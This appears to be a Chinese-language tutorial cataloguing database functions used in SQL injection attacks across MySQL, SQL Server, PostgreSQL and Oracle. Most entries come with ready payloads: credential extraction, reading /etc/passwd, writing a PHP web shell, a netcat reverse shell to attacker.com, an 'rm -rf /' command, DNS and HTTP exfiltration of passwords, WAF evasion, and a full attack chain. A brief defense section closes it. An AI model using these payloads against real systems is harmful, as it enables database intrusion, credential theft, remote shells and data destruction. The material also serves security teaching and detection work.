SQL注入漏洞中会使用到的函数
目录
一、信息获取函数
1. 通用函数
2. 元数据查询(INFORMATION_SCHEMA)
二、字符串操作函数
1. 字符串连接
2. 字符串截取
3. 编码/解码
三、报错注入专用函数
1. MySQL
2. SQL Server
3. PostgreSQL
四、时间盲注函数
1. 通用延迟
2. 计算密集型延迟
五、文件操作函数
1. 文件读取
2. 文件写入
六、系统命令执行函数
1. SQL Server
2. PostgreSQL
3. MySQL(需特殊条件)
七、带外通信(OOB)函数
1. DNS外传数据
2. HTTP请求
八、高级聚合函数
1. 数据聚合
九、JSON/XML操作函数
1. MySQL
2. SQL Server
十、防御规避函数
1. 编码混淆
2. 动态执行
总结与防御建议
以下是SQL注入攻击中常用的数据库函数分类整理,覆盖主流数据库及其高危操作场景:
一、信息获取函数
1. 通用函数
-
DATABASE()
作用:获取当前数据库名称。 示例:UNION SELECT DATABASE()
-
USER()
/CURRENT_USER()
作用:获取当前数据库用户。 -
VERSION()
/@@VERSION
作用:获取数据库版本信息。
2. 元数据查询(INFORMATION_SCHEMA
)
-
TABLES
表 MySQL:SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE()
SQL Server:SELECT name FROM sysobjects WHERE xtype='U'
-
COLUMNS
表 Oracle:SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
二、字符串操作函数
1. 字符串连接
-
CONCAT(str1, str2)
示例:CONCAT('user=', USER())
-
||
(Oracle/PostgreSQL) 示例:' UNION SELECT 'user: ' || USER() --
2. 字符串截取
-
SUBSTRING(str, start, length)
示例:盲注中逐字符爆破:SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1)
-
SUBSTR()
(Oracle/PostgreSQL) -
LEFT(str, length)
/RIGHT(str, length)
3. 编码/解码
-
HEX()
/UNHEX()
用途:绕过WAF过滤,如SELECT HEX('admin')
→61646D696E
-
CHAR(ASCII_CODE)
示例:CHAR(97)
→a
三、报错注入专用函数
1. MySQL
-
UPDATEXML()
语法:UPDATEXML(XML_doc, XPath, new_value)
示例:AND UPDATEXML(1, CONCAT(0x7e, (SELECT USER()), 0x7e), 1)
-
EXTRACTVALUE()
语法:EXTRACTVALUE(XML_doc, XPath)
示例:AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION()))
2. SQL Server
-
CONVERT()
触发类型转换错误:CONVERT(int, (SELECT TOP 1 table_name FROM sysobjects))
-
ERROR_MESSAGE()
配合TRY-CATCH:BEGIN TRY SELECT 1/0 END TRY BEGIN CATCH SELECT ERROR_MESSAGE() END CATCH
3. PostgreSQL
-
CAST()
示例:CAST((SELECT CURRENT_USER) AS INTEGER)
四、时间盲注函数
1. 通用延迟
-
SLEEP(seconds)
(MySQL) 示例:IF(1=1, SLEEP(5), 0)
-
PG_SLEEP(seconds)
(PostgreSQL) -
WAITFOR DELAY '0:0:5'
(SQL Server)
2. 计算密集型延迟
-
BENCHMARK(count, expr)
(MySQL) 示例:BENCHMARK(1000000, MD5('test'))
五、文件操作函数
1. 文件读取
-
LOAD_FILE()
(MySQL) 权限需求:FILE
权限,且secure_file_priv
未限制路径 示例:UNION SELECT LOAD_FILE('/etc/passwd')
-
pg_read_file()
(PostgreSQL) 示例:SELECT pg_read_file('/etc/passwd')
2. 文件写入
-
INTO OUTFILE
/INTO DUMPFILE
(MySQL) 示例:SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/shell.php'
-
COPY
(PostgreSQL) 示例:COPY (SELECT 'malicious code') TO '/var/www/shell.php'
六、系统命令执行函数
1. SQL Server
-
xp_cmdshell
示例:EXEC xp_cmdshell 'whoami'
防御:需禁用xp_cmdshell
组件。
2. PostgreSQL
-
COPY FROM PROGRAM
示例:COPY cmd_exec FROM PROGRAM 'nc -e /bin/sh attacker.com 4444'
3. MySQL(需特殊条件)
-
sys_exec()
(UDF提权后) 示例:SELECT sys_exec('rm -rf /')
七、带外通信(OOB)函数
1. DNS外传数据
-
LOAD_FILE()
(MySQL) 示例:LOAD_FILE(CONCAT('\\\\', (SELECT HEX(password)), '.attacker.com\\test'))
-
UTL_HTTP.REQUEST()
(Oracle) 示例:SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL) FROM DUAL
2. HTTP请求
-
HTTPURITYPE
(Oracle) 示例:SELECT HTTPURITYPE('http://attacker.com/'||(SELECT password FROM users)).GETCLOB() FROM DUAL
八、高级聚合函数
1. 数据聚合
-
GROUP_CONCAT()
(MySQL) 示例:GROUP_CONCAT(table_name SEPARATOR ',')
用于一次性获取所有表名。 -
STRING_AGG()
(SQL Server/PostgreSQL) 用途:合并多行结果为单个字符串。
九、JSON/XML操作函数
1. MySQL
-
JSON_EXTRACT()
绕过技巧:SELECT JSON_EXTRACT('{"a":"b"}', CONCAT('$.', (SELECT USER())))
2. SQL Server
-
OPENJSON()
示例:SELECT * FROM OPENJSON((SELECT password FROM users FOR JSON PATH))
十、防御规避函数
1. 编码混淆
-
TO_BASE64()
/FROM_BASE64()
(MySQL 5.6+) 示例:SELECT FROM_BASE64('YWRtaW4=')
→admin
-
ASCII()
/ORD()
用途:盲注中逐字符转换ASCII值。
2. 动态执行
-
EXEC()
(SQL Server) 示例:EXEC('SELECT * FROM users')
-
PREPARE
/EXECUTE
(MySQL) 示例:SET @sql = CONCAT('SELECT * FROM ', (SELECT table_name FROM information_schema.tables LIMIT 1)); PREPARE stmt FROM @sql; EXECUTE stmt;
总结与防御建议
-
禁用高危函数:如
xp_cmdshell
、FILE
权限等。 -
输入过滤:严格校验参数类型,过滤
UNION
、SLEEP
等关键词。 -
最小权限原则:数据库账户仅授予必要权限。
-
监控异常查询:如频繁出现
INFORMATION_SCHEMA
访问或LOAD_FILE()
调用。
示例攻击链:
' UNION SELECT NULL, CONCAT('DB: ', DATABASE(), ' User: ', USER(), ' Version: ', VERSION()), LOAD_FILE('/etc/passwd') --
掌握这些函数的作用机制,可更精准地设计防御策略与检测规则。